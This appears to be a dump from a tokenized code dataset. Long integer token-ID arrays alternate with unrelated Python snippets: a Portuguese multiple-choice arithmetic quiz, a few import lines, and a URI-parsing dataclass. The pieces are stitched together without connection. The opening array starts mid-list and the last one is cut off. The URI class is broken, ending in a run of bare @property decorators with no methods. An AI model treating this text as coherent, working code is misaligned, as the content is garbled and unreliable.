4947, 286, 13439, 11, 198, 220, 220, 220, 356, 4031, 284, 5911, 543, 6827, 468, 262, 3280, 284, 262, 1808, 13, 770, 198, 220, 220, 220, 2746, 2207, 4147, 262, 1808, 290, 1123, 6827, 351, 357, 39363, 1180, 8, 198, 220, 220, 220, 2207, 375, 364, 11, 290, 788, 857, 257, 8615, 500, 26789, 290, 3487, 4340, 284, 651, 257, 198, 220, 220, 220, 6082, 625, 262, 900, 286, 13439, 13, 628, 220, 220, 220, 5740, 326, 287, 617, 2663, 11, 428, 743, 407, 307, 3446, 366, 42801, 1047, 68, 1, 780, 262, 198, 220, 220, 220, 1808, 290, 13439, 2207, 375, 364, 460, 13238, 13, 628, 220, 220, 220, 40117, 198, 220, 220, 220, 24200, 438, 198, 220, 220, 220, 997, 62, 30342, 62, 41068, 17, 41068, 62, 75, 6962, 1058, 493, 11, 11902, 357, 12286, 25, 7559, 17, 15506, 8, 198, 220, 220, 220, 220, 220, 220, 220, 775, 779, 257, 1178, 24167, 3182, 43, 2257, 10128, 357, 273, 2092, 828, 284, 1577, 262, 2746, 617, 198, 220, 220, 220, 220, 220, 220, 220, 6795, 13, 220, 770, 11507, 6973, 703, 867, 2769, 11685, 356, 815, 779, 13, 628, 220, 220, 220, 2648, 62, 30342, 62, 41068, 17, 41068, 62, 75, 6962, 1058, 20512, 11, 11902, 357, 12286, 25, 7559, 25101, 15506, 8, 198, 220, 220, 220, 220, 220, 220, 220, 10127, 393, 407, 284, 37773, 262, 13439, 290, 262, 1808, 351, 262, 976, 198, 220, 220, 220, 220, 220, 220, 220, 7104, 33756, 17, 41068, 11685, 11, 393, 423, 1180, 3392, 329, 1123, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 2488, 2502, 81, 1460, 198, 220, 220, 220, 825, 4808, 11249, 62, 19849, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 383, 4096, 19001, 994, 318, 326, 356, 1183, 1208, 262, 2683, 290, 1123, 198, 220, 220, 220, 220, 220, 220, 220, 6827, 287, 262, 10066, 832, 617, 3297, 286, 2207, 12342, 357, 68, 13, 70, 13, 347, 3913, 11, 10863, 52, 11, 198, 220, 220, 220, 220, 220, 220, 220, 393, 3182, 10761, 52, 737, 628, 220, 220, 220, 220, 220, 220, 220, 3244, 11, 356, 1011, 262, 30240, 10552, 286, 262, 1808, 290, 15284, 198, 220, 220, 220, 220, 220, 220, 220, 257, 8615, 500, 26789, 351, 262, 30240, 10552, 286, 1123, 6827, 287, 198, 220, 220, 220, 220, 220, 220, 220, 262, 10066, 11, 284, 651, 257, 11192, 273, 286, 8615, 500, 20594, 351, 5485, 198, 220, 220, 220, 220, 220, 220, 220, 357, 43501, 62, 7857, 11, 997, 62, 34086, 3007, 62, 525, 62, 6603, 496, 737, 775, 788, 3487, 1096, 329, 1123, 198, 220, 220, 220, 220, 220, 220, 220, 15458, 284, 651, 257, 12867, 6082, 625, 13439, 287, 262, 10066, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 3274, 356, 2251, 5128, 11685, 290, 1208, 262, 17311, 832, 11525, 12083, 11685, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 997, 62, 25652, 62, 10879, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1808, 62, 15414, 796, 23412, 7, 43358, 28, 944, 13557, 1136, 62, 34086, 594, 62, 43358, 7, 944, 13, 22510, 62, 25652, 62, 10879, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 288, 4906, 11639, 600, 2624, 3256, 1438, 2625, 25652, 62, 15414, 4943, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 997, 62, 34086, 3007, 11, 997, 62, 34086, 594, 62, 10879, 8, 198, 220, 220, 220, 220, 220, 220, 220, 13439, 62, 15414, 62, 43358, 796, 14808, 944, 13, 22510, 62, 34086, 3007, 35751, 1343, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 1136, 62, 34086, 594, 62, 43358, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 13439, 62, 15414, 796, 23412, 7, 43358, 28, 34086, 3007, 62, 15414, 62, 43358, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 288, 4906, 11639, 600, 2624, 3256, 1438, 2625, 34086, 3007, 62, 15414, 4943, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 997, 62, 25652, 62, 10879, 11, 11525, 12083, 2546, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1808, 62, 20521, 12083, 796, 2116, 13557, 20521, 62, 15414, 7, 25652, 62, 15414, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 997, 62, 34086, 3007, 11, 997, 62, 34086, 594, 62, 10879, 11, 11525, 12083, 2546, 8, 198, 220, 220, 220, 220, 220, 220, 220, 13439, 62, 20521, 12083, 796, 2116, 13557, 20521, 62, 15414, 7, 34086, 3007, 62, 15414, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 775, 37773, 262, 1808, 11525, 12083, 351, 617, 517, 33756, 17, 41068, 11685, 198, 220, 220, 220, 220, 220, 220, 220, 29563, 62, 25652, 796, 1808, 62, 20521, 12083, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 944, 13, 22510, 62, 30342, 62, 41068, 17, 41068, 62, 75, 6962, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 20077, 62, 30342, 62, 41068, 17, 41068, 62, 75, 6962, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33756, 17, 41068, 62, 12685, 12342, 62, 3672, 796, 366, 41068, 17, 41068, 23330, 92, 1911, 18982, 7, 72, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33756, 17, 41068, 62, 12685, 12342, 62, 3672, 796, 366, 25652, 62, 41068, 17, 41068, 23330, 92, 1911, 18982, 7, 72, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7104, 62, 29289, 796, 2116, 13557, 1136, 62, 41068, 17, 41068, 62, 12685, 12342, 7, 3672, 28, 41068, 17, 41068, 62, 12685, 12342, 62, 3672, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2121, 1891, 62, 46571, 2625, 1904, 4277, 42287, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 62, 7857, 11, 997, 62, 25652, 62, 10879, 11, 33756, 17, 41068, 5072, 15793, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 29563, 62, 25652, 796, 7104, 62, 29289, 7, 4666, 18449, 62, 25652, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 775, 37773, 262, 6827, 11525, 12083, 351, 617, 517, 33756, 17, 41068, 11685, 198, 220, 220, 220, 220, 220, 220, 220, 29563, 62, 34086, 594, 796, 13439, 62, 20521, 12083, 198, 220, 220, 220, 220, 220, 220, 220, 329, 1312, 287, 2837, 7, 944, 13, 22510, 62, 30342, 62, 41068, 17, 41068, 62, 75, 6962, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13, 20077, 62, 30342, 62, 41068, 17, 41068, 62, 75, 6962, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33756, 17, 41068, 62, 12685, 12342, 62, 3672, 796, 366, 41068, 17, 41068, 23330, 92, 1911, 18982, 7, 72, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 33756, 17, 41068, 62, 12685, 12342, 62, 3672, 796, 366, 34086, 594, 62, 41068, 17, 41068, 23330, 92, 1911, 18982, 7, 72, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 7104, 62, 29289, 796, 3862, 20344, 6169, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 1136, 62, 41068, 17, 41068, 62, 12685, 12342, 7, 3672, 28, 41068, 17, 41068, 62, 12685, 12342, 62, 3672, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2121, 1891, 62, 46571, 2625, 1904, 4277, 42287, 12340, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1438, 2625, 7575, 20344, 6169, 62, 41068, 17, 41068, 62, 34086, 3007, 62, 12685, 12342, 23330, 92, 1911, 18982, 7, 72, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 62, 7857, 11, 997, 62, 25652, 62, 10879, 11, 33756, 17, 41068, 5072, 15793, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 29563, 62, 34086, 594, 796, 7104, 62, 29289, 7, 4666, 18449, 62, 34086, 594, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 775, 37773, 262, 29563, 1808, 351, 617, 2207, 12342, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1808, 62, 12685, 12342, 796, 2116, 13557, 1136, 62, 12685, 12342, 7, 3672, 2625, 25652, 62, 12685, 12342, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2121, 1891, 62, 46571, 2625, 1904, 4277, 2207, 12342, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 2207, 12342, 62, 22915, 62, 46156, 8, 198, 220, 220, 220, 220, 220, 220, 220, 30240, 62, 25652, 796, 1808, 62, 12685, 12342, 7, 4666, 18449, 62, 25652, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 775, 37773, 262, 29563, 3188, 351, 617, 2207, 12342, 13, 198, 220, 220, 220, 220, 220, 220, 220, 13439, 62, 12685, 12342, 796, 14711, 12342, 36918, 2848, 7, 944, 13557, 1136, 62, 12685, 12342, 7, 3672, 2625, 34086, 594, 62, 12685, 12342, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2121, 1891, 62, 46571, 2625, 1904, 4277, 2207, 12342, 12340, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1438, 2625, 7575, 20344, 6169, 62, 34086, 3007, 62, 12685, 12342, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 997, 62, 34086, 3007, 11, 2207, 12342, 62, 22915, 62, 46156, 8, 198, 220, 220, 220, 220, 220, 220, 220, 30240, 62, 34086, 3007, 796, 13439, 62, 12685, 12342, 7, 4666, 18449, 62, 34086, 594, 8, 628, 220, 220, 220, 220, 220, 220, 220, 1303, 3423, 356, 779, 262, 47406, 7679, 351, 262, 8615, 500, 26789, 2163, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 284, 651, 262, 8615, 500, 20594, 286, 1123, 264, 274, 429, 594, 351, 262, 1808, 13, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5485, 25, 357, 43501, 2546, 11, 997, 62, 34086, 3007, 8, 198, 220, 220, 220, 220, 220, 220, 220, 3241, 62, 3672, 796, 705, 25652, 62, 34086, 3007, 62, 38610, 414, 6, 198, 220, 220, 220, 220, 220, 220, 220, 26789, 62, 37266, 796, 19779, 4906, 1298, 366, 6966, 500, 62, 38610, 414, 20662, 198, 220, 220, 220, 220, 220, 220, 220, 6827, 62, 1676, 65, 5738, 796, 47406, 7, 3672, 28, 1078, 1463, 62, 3672, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 26789, 62, 8818, 28, 38610, 414, 62, 37266, 5769, 58, 12685, 9043, 62, 25652, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 30240, 62, 34086, 3007, 12962, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 10766, 48, 64, 17633, 7, 15414, 41888, 25652, 62, 15414, 11, 13439, 62, 15414, 4357, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5072, 28, 34086, 594, 62, 1676, 65, 5738, 8, 628, 220, 220, 220, 2488, 2502, 81, 1460, 198, 220, 220, 220, 825, 4808, 39098, 62, 4906, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 8229, 262, 4554, 2099, 326, 262, 2746, 13404, 319, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 11352, 594, 4653, 1564, 33384, 628, 220, 220, 220, 2488, 2502, 81, 1460, 198, 220, 220, 220, 825, 4808, 1136, 62, 9806, 62, 13664, 82, 7, 944, 8, 4613, 360, 713, 58, 2536, 11, 493, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 8229, 257, 22155, 351, 262, 5035, 24511, 20428, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 13664, 82, 796, 2208, 7, 42801, 1047, 68, 31837, 594, 17563, 273, 11, 2116, 737, 62, 1136, 62, 9806, 62, 13664, 82, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 13664, 82, 17816, 22510, 62, 25652, 62, 10879, 20520, 796, 2116, 13, 22510, 62, 25652, 62, 10879, 198, 220, 220, 220, 220, 220, 220, 220, 3509, 62, 13664, 82, 17816, 22510, 62, 34086, 3007, 20520, 796, 2116, 13, 22510, 62, 34086, 3007, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 3509, 62, 13664, 82, 628, 220, 220, 220, 2488, 2502, 81, 1460, 198, 220, 220, 220, 825, 4808, 2617, 62, 9806, 62, 13664, 82, 7, 944, 11, 3509, 62, 13664, 82, 25, 360, 713, 58, 2536, 11, 493, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 262, 24511, 20428, 286, 262, 2746, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 42801, 1047, 68, 31837, 594, 17563, 273, 11, 2116, 737, 62, 2617, 62, 9806, 62, 13664, 82, 7, 9806, 62, 13664, 82, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 22510, 62, 25652, 62, 10879, 796, 3509, 62, 13664, 82, 17816, 22510, 62, 25652, 62, 10879, 20520, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 22510, 62, 34086, 3007, 796, 3509, 62, 13664, 82, 17816, 22510, 62, 34086, 3007, 20520, 628, 220, 220, 220, 2488, 2502, 81, 1460, 628, 220, 220, 220, 2488, 4871, 24396, 198 ]
2.41977
2,873
perguntas = { 'Pergunta 1': { 'pergunta': 'Quanto é 2+2?', 'respostas': { 'a': '1', 'b': '4', 'c': '8' }, 'resposta_certa': 'b', }, 'Pergunta 2': { 'pergunta': 'Quanto é 3*2?', 'respostas': { 'a': '4', 'b': '10', 'c': '6' }, 'resposta_certa': 'c', }, 'Pergunta 3': { 'pergunta': 'Quanto é 1+2?', 'respostas': { 'a': '3', 'b': '10', 'c': '6' }, 'resposta_certa': 'a', }, 'Pergunta 4': { 'pergunta': 'Quanto é 1-1?', 'respostas': { 'a': '2', 'b': '1', 'c': '0' }, 'resposta_certa': 'c', }, 'Pergunta 5': { 'pergunta': 'Quanto é 8/4?', 'respostas': { 'a': '0', 'b': '4', 'c': '2' }, 'resposta_certa': 'c', }, } resposta_certa = 0 for pk, pv in perguntas.items(): print(f'{pk}:{pv["pergunta"]}') print('Respostas: ') for rk, rv in pv['respostas'].items(): print(f'[{rk}]: {rv}') resposta = input('Sua resposta: ') if resposta == pv['resposta_certa']: print('Você Acertou !!!') resposta_certa += 1 else: print('Você Errou !!!') print() qtd_perguntas = len(perguntas) por_acerto = resposta_certa / qtd_perguntas * 100 print(f'Você acertou {resposta_certa} pergunta(s). ') print(f'Sua porcetagem de acerto foi de {por_acerto:.2f}%.')
[ 525, 70, 2797, 292, 220, 796, 1391, 198, 220, 220, 220, 705, 5990, 70, 44424, 352, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 525, 70, 44424, 10354, 705, 4507, 14723, 38251, 362, 10, 17, 30, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 455, 292, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 64, 10354, 705, 16, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 65, 10354, 705, 19, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 66, 10354, 705, 23, 6, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 39818, 62, 22583, 64, 10354, 705, 65, 3256, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 705, 5990, 70, 44424, 362, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 525, 70, 44424, 10354, 705, 4507, 14723, 38251, 513, 9, 17, 30, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 455, 292, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 64, 10354, 705, 19, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 65, 10354, 705, 940, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 66, 10354, 705, 21, 6, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 39818, 62, 22583, 64, 10354, 705, 66, 3256, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 705, 5990, 70, 44424, 513, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 525, 70, 44424, 10354, 705, 4507, 14723, 38251, 352, 10, 17, 30, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 455, 292, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 64, 10354, 705, 18, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 65, 10354, 705, 940, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 66, 10354, 705, 21, 6, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 39818, 62, 22583, 64, 10354, 705, 64, 3256, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 705, 5990, 70, 44424, 604, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 525, 70, 44424, 10354, 705, 4507, 14723, 38251, 352, 12, 16, 30, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 455, 292, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 64, 10354, 705, 17, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 65, 10354, 705, 16, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 66, 10354, 705, 15, 6, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 39818, 62, 22583, 64, 10354, 705, 66, 3256, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 705, 5990, 70, 44424, 642, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 705, 525, 70, 44424, 10354, 705, 4507, 14723, 38251, 807, 14, 19, 30, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 455, 292, 10354, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 64, 10354, 705, 15, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 65, 10354, 705, 19, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 66, 10354, 705, 17, 6, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 220, 220, 220, 220, 705, 4363, 39818, 62, 22583, 64, 10354, 705, 66, 3256, 198, 220, 220, 220, 8964, 198, 92, 198, 4363, 39818, 62, 22583, 64, 796, 657, 198, 198, 1640, 279, 74, 11, 279, 85, 287, 583, 70, 2797, 292, 13, 23814, 33529, 198, 220, 220, 220, 3601, 7, 69, 6, 90, 79, 74, 92, 29164, 79, 85, 14692, 525, 70, 44424, 8973, 92, 11537, 628, 220, 220, 220, 3601, 10786, 4965, 7353, 292, 25, 705, 8, 198, 220, 220, 220, 329, 374, 74, 11, 374, 85, 287, 279, 85, 17816, 4363, 455, 292, 6, 4083, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 6, 58, 90, 81, 74, 92, 5974, 1391, 81, 85, 92, 11537, 628, 220, 220, 220, 1217, 39818, 796, 5128, 10786, 5606, 64, 1217, 39818, 25, 705, 8, 198, 220, 220, 220, 611, 1217, 39818, 6624, 279, 85, 17816, 4363, 39818, 62, 22583, 64, 6, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 53, 420, 25792, 4013, 861, 280, 220, 10185, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 1217, 39818, 62, 22583, 64, 15853, 352, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3601, 10786, 53, 420, 25792, 5256, 472, 220, 10185, 11537, 628, 220, 220, 220, 3601, 3419, 198, 198, 80, 8671, 62, 525, 70, 2797, 292, 796, 18896, 7, 525, 70, 2797, 292, 8, 198, 1819, 62, 330, 13806, 796, 1217, 39818, 62, 22583, 64, 1220, 10662, 8671, 62, 525, 70, 2797, 292, 1635, 1802, 198, 4798, 7, 69, 6, 53, 420, 25792, 936, 861, 280, 1391, 4363, 39818, 62, 22583, 64, 92, 583, 70, 44424, 7, 82, 737, 705, 8, 198, 4798, 7, 69, 6, 5606, 64, 16964, 66, 316, 363, 368, 390, 936, 13806, 11511, 72, 390, 1391, 1819, 62, 330, 13806, 25, 13, 17, 69, 92, 4, 2637, 8 ]
1.622291
969
# -*-coding:utf-8-*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import contextlib import json import urllib import urllib2
[ 2, 532, 9, 12, 66, 7656, 25, 40477, 12, 23, 12, 9, 12, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 6738, 11593, 37443, 834, 1330, 7297, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 198, 11748, 4732, 8019, 198, 11748, 33918, 198, 11748, 2956, 297, 571, 198, 11748, 2956, 297, 571, 17, 628, 628 ]
3.328571
70
import re import itertools import dataclasses import typing as t import urllib.parse from appyter.ext.pathlib.chroot import ChrootPurePosixPath from appyter.ext.dict import dict_merge, expand_dotmap url_expr = re.compile( r'^((?P<scheme>.+?)://(?P<authority>((?P<username>[^/:@\?#]+?)(:(?P<password>[^/@\?#]+?))?@)?(?P<netloc>(?P<hostname>[^:/\?#]+)(:(?P<port>\d+))?))?)?(?P<path>.*?)(\?(?P<query_string>.*?))?(#(?P<fragment>.*?))?$' ) fragment_expr = re.compile( r'^(?P<path>.*?)(\?(?P<query_string>.*?))?$' ) @dataclasses.dataclass(init=False, repr=False, frozen=True) class URI: ''' Not unlike yarl's URL class but - support for `::` notation as used in fsspec URIs - posix_path path operation - fragment parsing - dotmap support (query_ex) ''' scheme: t.Optional[str] username: t.Optional[str] password: t.Optional[str] hostname: t.Optional[str] port: t.Optional[int] path: str query_string: t.Optional[str] fragment: t.Optional[str] @property @property @property @property @property @property @property @property @property @property @property @property @property @property @property
[ 11748, 302, 198, 11748, 340, 861, 10141, 198, 11748, 4818, 330, 28958, 198, 11748, 19720, 355, 256, 198, 11748, 2956, 297, 571, 13, 29572, 198, 6738, 598, 88, 353, 13, 2302, 13, 6978, 8019, 13, 354, 15763, 1330, 609, 15763, 49548, 21604, 844, 15235, 198, 6738, 598, 88, 353, 13, 2302, 13, 11600, 1330, 8633, 62, 647, 469, 11, 4292, 62, 26518, 8899, 198, 198, 6371, 62, 31937, 796, 302, 13, 5589, 576, 7, 198, 220, 374, 6, 61, 19510, 30, 47, 27, 15952, 1326, 28401, 10, 10091, 1378, 7, 30, 47, 27, 9800, 414, 29, 19510, 30, 47, 27, 29460, 36937, 61, 14, 25, 31, 59, 30, 2, 48688, 30, 5769, 37498, 30, 47, 27, 28712, 36937, 61, 14, 31, 59, 30, 2, 48688, 30, 4008, 30, 31, 19427, 7, 30, 47, 27, 3262, 17946, 33994, 30, 47, 27, 4774, 3672, 36937, 61, 14079, 59, 30, 2, 48688, 5769, 37498, 30, 47, 27, 634, 29, 59, 67, 10, 4008, 30, 4008, 10091, 30, 7, 30, 47, 27, 6978, 29, 15885, 30, 5769, 59, 30, 7, 30, 47, 27, 22766, 62, 8841, 29, 15885, 30, 4008, 30, 7, 2, 7, 30, 47, 27, 8310, 363, 434, 29, 15885, 30, 4008, 30, 3, 6, 198, 8, 198, 8310, 363, 434, 62, 31937, 796, 220, 302, 13, 5589, 576, 7, 198, 220, 374, 6, 61, 7, 30, 47, 27, 6978, 29, 15885, 30, 5769, 59, 30, 7, 30, 47, 27, 22766, 62, 8841, 29, 15885, 30, 4008, 30, 3, 6, 198, 8, 198, 198, 31, 19608, 330, 28958, 13, 19608, 330, 31172, 7, 15003, 28, 25101, 11, 41575, 28, 25101, 11, 12912, 28, 17821, 8, 198, 4871, 43975, 25, 198, 220, 705, 7061, 1892, 5023, 331, 7063, 338, 10289, 1398, 475, 198, 220, 532, 1104, 329, 4600, 3712, 63, 33274, 355, 973, 287, 277, 824, 43106, 37902, 3792, 198, 220, 532, 1426, 844, 62, 6978, 3108, 4905, 198, 220, 532, 24225, 32096, 198, 220, 532, 16605, 8899, 1104, 357, 22766, 62, 1069, 8, 198, 220, 705, 7061, 198, 220, 7791, 25, 256, 13, 30719, 58, 2536, 60, 198, 220, 20579, 25, 256, 13, 30719, 58, 2536, 60, 198, 220, 9206, 25, 256, 13, 30719, 58, 2536, 60, 198, 220, 2583, 3672, 25, 256, 13, 30719, 58, 2536, 60, 198, 220, 2493, 25, 256, 13, 30719, 58, 600, 60, 198, 220, 3108, 25, 965, 198, 220, 12405, 62, 8841, 25, 256, 13, 30719, 58, 2536, 60, 198, 220, 24225, 25, 256, 13, 30719, 58, 2536, 60, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 26745, 628, 220, 2488, 